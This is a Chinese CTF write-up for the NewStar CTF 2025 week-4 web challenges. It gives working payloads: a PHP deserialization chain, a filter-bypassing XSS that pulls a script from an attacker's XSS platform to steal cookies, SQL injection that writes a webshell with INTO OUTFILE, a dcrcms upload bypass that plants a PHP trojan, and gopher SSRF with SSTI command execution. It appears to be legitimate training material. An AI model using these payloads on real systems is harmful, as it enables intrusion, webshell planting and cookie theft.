当前位置: 首页 > news >正文

深入解析:NewStar CTF 2025公开赛道-web题目-week4-writeup

小羊走迷宫

启动环境访问

分析源码:经典的PHP反序列化题目,首先需要传入ma_ze.path,然后base64解码反序列化得到flag,根据已知源码和PHP魔术方法(不熟悉的可以自行百度,一搜一大堆文章介绍)可以得到调用链为:

startPoint类的__wakeup方法--SaySomething类的__invoke方法--Treasure类的__toString方法--Treasure类的__get方法--endPoint类的__call方法--flag

知识点1:参数绕过的知识点:$_GET['ma_ze.path']
==> PHP 变量命名规则:PHP 的变量名不能包含小数点 .,因为小数点在 PHP 中是无效的变量名字符。为了处理这种情况,PHP 在解析请求参数时会自动将参数名中的 . 替换为 _。
但是,如果已经前面有一个中括号 `[` 转变为下划线 `_` 了,下一个小数点就不会转变了。
==> ma[ze.path

知识点2:伪协议读取文件

php://filter/read=convert.base64-encode/resource=flag.php

读取源代码并进行base64编码输出

开始构造调用链并赋值:

注意$this -> chest = $this;因为要先触发toString方法再触发get方法,所以不能实例化两次,可以用$this表明使用当前实例。

 direction = new SaySomething();}
}
class Treasure{protected $door;protected $chest;function __construct(){//Treasure.__get()$this -> chest = $this;//endPoint.__call()$this -> door = new endPoint();}function __get($arg){echo "拿到钥匙咯,开门! ";$this -> door -> open();}function __toString(){echo "小羊真可爱! ";return $this -> chest -> key;}
}
class SaySomething{public $sth;function __construct(){//Treasure.__toString()$this -> sth = new Treasure();}
}
class endPoint{private $path;function __construct(){//flag.php$this -> path = 'php://filter/read=convert.base64-encode/resource=flag.php';}
}
$exp = new startPoint();
echo "ma[ze.path=".base64_encode(serialize($exp));
?>

执行输出payload:

ma[ze.path=TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO086MTI6IlNheVNvbWV0aGluZyI6MTp7czozOiJzdGgiO086ODoiVHJlYXN1cmUiOjI6e3M6NzoiACoAZG9vciI7Tzo4OiJlbmRQb2ludCI6MTp7czoxNDoiAGVuZFBvaW50AHBhdGgiO3M6NTc6InBocDovL2ZpbHRlci9yZWFkPWNvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1mbGFnLnBocCI7fXM6ODoiACoAY2hlc3QiO3I6Mzt9fX0=

发送获得flag:

flag{82731ddf-9349-4dd6-85da-49bc92e12963}

小E的留言板

启动环境访问:

需要登录,查看源代码没看到啥,那就注册一个admin试试,登录后

基本功能为输入留言,查看留言,使用xss payload依次进行测试,发现会替换<,script,on等字符为空:

可以使用html实体编码绕过<,使用双写绕过script,on等特殊字符,构造如下payload,注册xss平台地址用于接收cookie值,此处可自己构造其他script语法,我就直接拿大佬构造的payload演示了,当时自己构造的payload因为没有注册xss平台导致没回显所以么保存

" autofofocuscus oonnfofocuscus="var s=document.createElement('scrscriptipt');s.src='https://此处为你注册得到的domain';document.head.appendChild(s)

发包:

然后访问report接口报告留言即可触发访问,可以看到已经拿到了cookie值

sqlupload

下载附件,可以发现是将上传文件写入数据库,此题目当时自己没做出来,后面看了【智佳网络安全】公众号文章wp复现学习了,其实就类似于之前phpmyadmin sql注入写webshell,具体参考该大佬写的文章:【WP】NewStar CTF 2025 Week4 之 WEB方向题解

上传功能把文件名和文件内容写入数据库,然后查询的时候发现order by参数存在sql注入

图片

且容器start.sh的特意配置secure_file_priv为空,也就是很明显的让写shell了,先上传一个文件名为一句话木马的任意内容文件

图片

然后利用select查询出文件名再带入into outfile写入shell.php

图片

最后连接后门即可

图片

得到flag{8ffe2a61-be98-40d6-a6a5-69c14a990119}

武功秘籍

启动环境访问题目发现是dcrcms,根据题目描述是一个CVE编号,那就搜一下看看有什么漏洞

搜索一番后有这个漏洞,dcrcms 文件上传漏洞(CNVD-2020-27175),访问登录页面

使用admin/admin发现可以直接登录

点击模板管理-导入模板

手动劫持修改数据包content-type的值为image/png

可以发现上传成功。

然后在系统管理-文件管理器-uploads-cache-2025_10_20-2310270510021439.php,可以看到上传的一句话木马

然后访问查看根目录,需要https://访问,切记,直接点击会使用http

查看flag的值即可

ssti在哪里?

下载附件分析源码,发现存在5000和5001端口,访问关系正常为5000端口POST请求传入name参数,然后通过5001端口请求显示,对本题目来说我们可以直接向5001端口发送请求即可,毕竟能访问5000也就不需要访问5001了,5001的端口监听为localhost,所以构造向localhost:5001访问的ssti模板注入就行,先来测试下是否存在模板注入,启动环境访问:

根据源码可以5001端口的flask服务传入的参数为template,所以可以构造POST请求,并传送template参数,需要使用gopher协议发送请求包,在此使用python编写脚本构造 Gopher协议所需的 POST请求:

构造template的参数为:{{7*7}},测试是否存在注入

import urllib.parse
# 构造 POST 数据
post_data = "template={{7*7}}"
content_length = len(post_data)
# 构造 HTTP 请求
gopher_payload = f"""POST / HTTP/1.1
Host: localhost:5001
Content-Type: application/x-www-form-urlencoded
Content-Length: {content_length}
{post_data}"""
# 编码为 Gopher 格式
gopher_payload = gopher_payload.replace("\n", "\r\n")
gopher_url = "gopher://localhost:5001/_" + urllib.parse.quote(gopher_payload)
print(gopher_url)

注:在使用 Gopher协议发送 POST请求包时,Host、Content-Type和Content-Length请求头是必不可少的,但在 GET请求中可以没有。输出gopher请求payload如下:

gopher://localhost:5001/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20localhost%3A5001%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2016%0D%0A%0D%0Atemplate%3D%7B%7B7%2A7%7D%7D

然后在url处填入以下payload:

发现输出了响应,且响应内容为49,说明存在ssti漏洞,那么接下来就是传统的打ssti的套路了,构造template参数为:

post_data = "template={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}"

执行生成payload:

gopher://localhost:5001/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20localhost%3A5001%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2075%0D%0A%0D%0Atemplate%3D%7B%7Bconfig.__class__.__init__.__globals__%5B%27os%27%5D.popen%28%27ls%27%29.read%28%29%7D%7D

可以看到成功获取到当前目录文件:

那就读取/目录的文件看看,payload如下:

gopher://localhost:5001/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20localhost%3A5001%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2077%0D%0A%0D%0Atemplate%3D%7B%7Bconfig.__class__.__init__.__globals__%5B%27os%27%5D.popen%28%27ls%20/%27%29.read%28%29%7D%7D

发送后获取到的内容为:

没看到flag,看看env

gopher://localhost:5001/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20localhost%3A5001%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2076%0D%0A%0D%0Atemplate%3D%7B%7Bconfig.__class__.__init__.__globals__%5B%27os%27%5D.popen%28%27env%27%29.read%28%29%7D%7D

成功获得flag:flag{2ccb92cf-5abf-497f-bb34-7149499e56a5}

http://www.jsqmd.com/news/120285/

相关文章:

  • centos7.9上面卸载中文语言包和中文字体重新安装
  • 深入解析:C#中级43、什么是事件
  • 68
  • 2025年12月男生女生童装书包品牌深度调研报告 - 品牌测评鉴赏家
  • Semantic Kernel使用连接器进行向量搜索
  • Vue.js + Element UI 实战:企业级后台管理系统开发全流程
  • 2025年家长必看!儿童鞋服品牌排行榜前十名权威盘点,这些品牌凭什么征服千万家庭? - 品牌测评鉴赏家
  • 跨境电子商务综合试验区DID(内含七批试验区名单)
  • 0-16岁儿童鞋服品牌全解析:从高端到平价,总有一款适合你家宝贝 - 品牌测评鉴赏家
  • 【漏水定位】基于压力测量和拓扑信息实现的稳健数据驱动漏水定位附Matlab代码
  • 1991-2025年地市级年度科学家数量统计数据
  • 一个基于 .NET MAUI 的开箱即用的 UI 组件库,可快速搭建面向业务的应用程序界面!
  • ESA正式授予Sivers波束成形技术开发合同
  • 2025儿童鞋服品牌Top10揭晓!这些品牌凭什么征服家长? - 品牌测评鉴赏家
  • Ubuntu下Qt应用崩溃自动重启6大方案
  • Java毕设选题推荐:基于springboot的游泳用品专卖店系统的设计与实现泳衣、泳镜、浮板【附源码、mysql、文档、调试+代码讲解+全bao等】
  • 事后诸葛亮分析
  • 宝妈必看!2025高性价比儿童鞋服品牌红榜,安全舒适还省钱 - 品牌测评鉴赏家
  • Java毕设项目推荐-基于Springboot的乡政府管理系统设计与实现基于springboot的村务管理系统的设计与实现【附源码+文档,调试定制服务】
  • 2025年12月男生女生童装鞋子质量评测报告 - 品牌测评鉴赏家
  • 第2章:LangChain大模型工具开发(Agent工具能力)
  • win键盘设置改为类似mac 配置
  • 第196期 TRAE 与 Amazon Kiro 智能体驱动集成开发环境(Agentic IDE)对比 - 详解
  • 基于SpringBoot的智能家居控制系统的设计与实现
  • 再见,Kimi?月活不及豆包 5%,谁是下一个王?
  • SoundFlow 开源 .NET 音频引擎
  • 【课程设计/毕业设计】基于springboot的游泳用品专卖店系统的设计与实现商品入库登记、出库审核、库存预警【附源码、数据库、万字文档】
  • 2025年12月男生女生童装品牌深度解析:加盟优势与市场前景 - 品牌测评鉴赏家
  • 【计算机毕业设计案例】基于Spring Boot的数字乡村治理系统“村事通”设计与实现基于springboot的村务管理系统的设计与实现(程序+文档+讲解+定制)
  • 单向循环链表